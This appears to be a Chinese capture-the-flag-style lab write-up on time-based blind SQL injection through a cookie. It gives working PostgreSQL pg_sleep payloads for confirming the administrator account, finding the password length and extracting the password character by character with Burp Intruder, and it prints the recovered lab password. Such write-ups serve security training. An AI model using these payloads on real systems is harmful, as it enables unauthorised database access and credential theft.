第十五关 具有时间延迟和信息检索的盲 SQL 注入
这一关就是通过sql时间盲注,检索信息,进行判断,从而爆破出密码
提示:1、存在sql时间盲注,注入点在cookie
2、SQL 查询的结果不会返回,通过触发条件时间延迟来推断信息
3、数据库有users表,有username和password两列,管理员administrator
具体操作:
1、找到对应的数据包发往repeater(具体操作和第十一关一样)
2、测试存在SQL时间盲注漏洞
插入延迟10秒的sql时间盲注语句:
'%3BSELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--
解释:以分号结尾,然后重新开始执行一条sql语句,当1=1条件为真,执行then后面的语句,延迟10秒,否则不延迟
这里的%3B:解码过来是; 这里是分号结尾,重新开始执行sql语句

换个条件1=2为假时,不延迟(这演示了如何测试单个布尔条件并推断结果)
'%3BSELECT CASE WHEN (1=2) THEN pg_sleep(10) ELSE pg_sleep(0) END--
条件为假,页面不延迟显示

3、再确定下管理员是存在
'%3BSELECT CASE WHEN (username='administrator') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
管理员存在,页面延迟10秒显示

4、接下来爆破密码长度
插入修改的判断密码长度的sql时间盲注语句:
'%3BSELECT CASE WHEN (username='administrator' AND LENGTH(password)=1) THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
解释:当条件用户名是管理员并且密码的长度匹配时,执行then后面的语句,延迟10秒,否则不延迟
将密码长度设置成变量,进行爆破

5、payloads设置为25,线程保持默认就行(具体操作见第十二关)
6、爆破成功,20的长度延迟了十秒,说明密码的长度是20

7、知道了长度,然后,爆破密码字符内容
'%3BSELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users--
选中集束炸弹模式,将密码的长度和字符内容设置成变量

8、payloads的设置和线程保持默认就行(具体操作见第十二关)
9、开始攻击,攻击完成,把延迟的结果全都用高亮显示,然后过滤一下,只留高亮的数据包

注意点击长度进行排序
密码:o2n53xquh1lc99fcwtbo

如图靶场通关
